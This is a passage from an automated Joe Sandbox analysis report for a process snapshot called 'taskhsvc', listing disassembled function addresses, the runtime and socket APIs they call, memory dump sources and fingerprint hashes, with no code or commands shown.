                                        • abort.MSVCRT ref: 00BD6210
                                        • abort.MSVCRT ref: 00BD6255
                                        • memset.MSVCRT ref: 00BD6273
                                        • memset.MSVCRT ref: 00BD62FA
                                        • memcpy.MSVCRT ref: 00BD636E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabortmemsetstrrchr$memcpy
                                        • String ID: backward$forward
                                        • API String ID: 4036304776-2237893231
                                        • Opcode ID: 2c4dc9a3a4ba70f5a88d3e1de7d72a236f7f57b90dd2e0f758a382485a8d140f
                                        • Instruction ID: 3a62d6ab95aea0a2f35fac177f52717819677cb79100f7ebad6875df353d61d6
                                        • Opcode Fuzzy Hash: 2c4dc9a3a4ba70f5a88d3e1de7d72a236f7f57b90dd2e0f758a382485a8d140f
                                        • Instruction Fuzzy Hash: 69D1D2B09093599FDB20DF64D88979DBBF0EB44304F0489DAE488AB351D7789AC4DF12
                                        Function 00BE4BBB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00BE4C24
                                        • abort.MSVCRT ref: 00BE4C63
                                        • abort.MSVCRT ref: 00BE4CAB
                                        • abort.MSVCRT ref: 00BE4CF2
                                        • abort.MSVCRT ref: 00BE4D35
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE4E08
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BE4DF5
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail$strrchr
                                        • String ID: #S$Td
                                        • API String ID: 1113427550-486040964
                                        • Opcode ID: a8e54a85b3f8443f9f91ca4a91a570e3e52b3b1a70b93bf946cc7c7845edd250
                                        • Instruction ID: a5b446fb6d3698516712eca549941d178a559efc929db317c3f63ea874dea339
                                        • Opcode Fuzzy Hash: a8e54a85b3f8443f9f91ca4a91a570e3e52b3b1a70b93bf946cc7c7845edd250
                                        • Instruction Fuzzy Hash: B661F0B4A043099FCB00EFA5D5855AEBBF1FF88354F119859E494AB385CB78D884CF62
                                        Function 00D25CFA Relevance: 15.2, APIs: 10, Instructions: 213stringCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D21144: memset.MSVCRT ref: 00D2117D
                                          • Part of subcall function 00D21144: __stack_chk_fail.LIBSSP-0 ref: 00D21190
                                        • abort.MSVCRT ref: 00D25D72
                                          • Part of subcall function 00D16107: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C1FAF4), ref: 00D161A4
                                          • Part of subcall function 00D16107: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C1FAF4), ref: 00D161B7
                                        • abort.MSVCRT ref: 00D25DB1
                                        • abort.MSVCRT ref: 00D25DF6
                                        • strerror.MSVCRT ref: 00D25ECF
                                        • _close.MSVCRT ref: 00D25F8C
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2601B
                                          • Part of subcall function 00D16BC4: _lseek.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D25F20), ref: 00D16BF5
                                          • Part of subcall function 00D16BC4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D25F20), ref: 00D16C12
                                        • strerror.MSVCRT ref: 00D25F30
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • free.MSVCRT ref: 00D25FB5
                                        • free.MSVCRT ref: 00D25FDD
                                        • free.MSVCRT ref: 00D25FFF
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$free$strerrorstrrchr$_close_lseekmemset
                                        • String ID:
                                        • API String ID: 2113199194-0
                                        • Opcode ID: c091a12c4c879f542c1a6e847e8f3b69168b1967d9199962bef53a78db3c1ab1
                                        • Instruction ID: 8a6dbcc8def07d9bd9544f6d5a96fe59b601d6f3fd053b108a178f17b4c01a8a
                                        • Opcode Fuzzy Hash: c091a12c4c879f542c1a6e847e8f3b69168b1967d9199962bef53a78db3c1ab1
                                        • Instruction Fuzzy Hash: C0A1D3B4A047168FDB00DFA8D585AAEBBF1FF48314F058858E894AB355D778D940CB72
                                        Function 00BF16C8 Relevance: 14.7, APIs: 4, Strings: 4, Instructions: 698COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D25435: __stack_chk_fail.LIBSSP-0 ref: 00D25455
                                          • Part of subcall function 00BF2D31: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BE9B3E), ref: 00BF2DCE
                                        • abort.MSVCRT ref: 00BF174D
                                        • getsockopt.WS2_32 ref: 00BF17F9
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF2115
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        • TLS closed during flush, xrefs: 00BF1BC7
                                        • tls error. breaking., xrefs: 00BF1B8E
                                        • TLS connection closed on flush, xrefs: 00BF1B95
                                        • TLS error in during flush, xrefs: 00BF1BC0
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
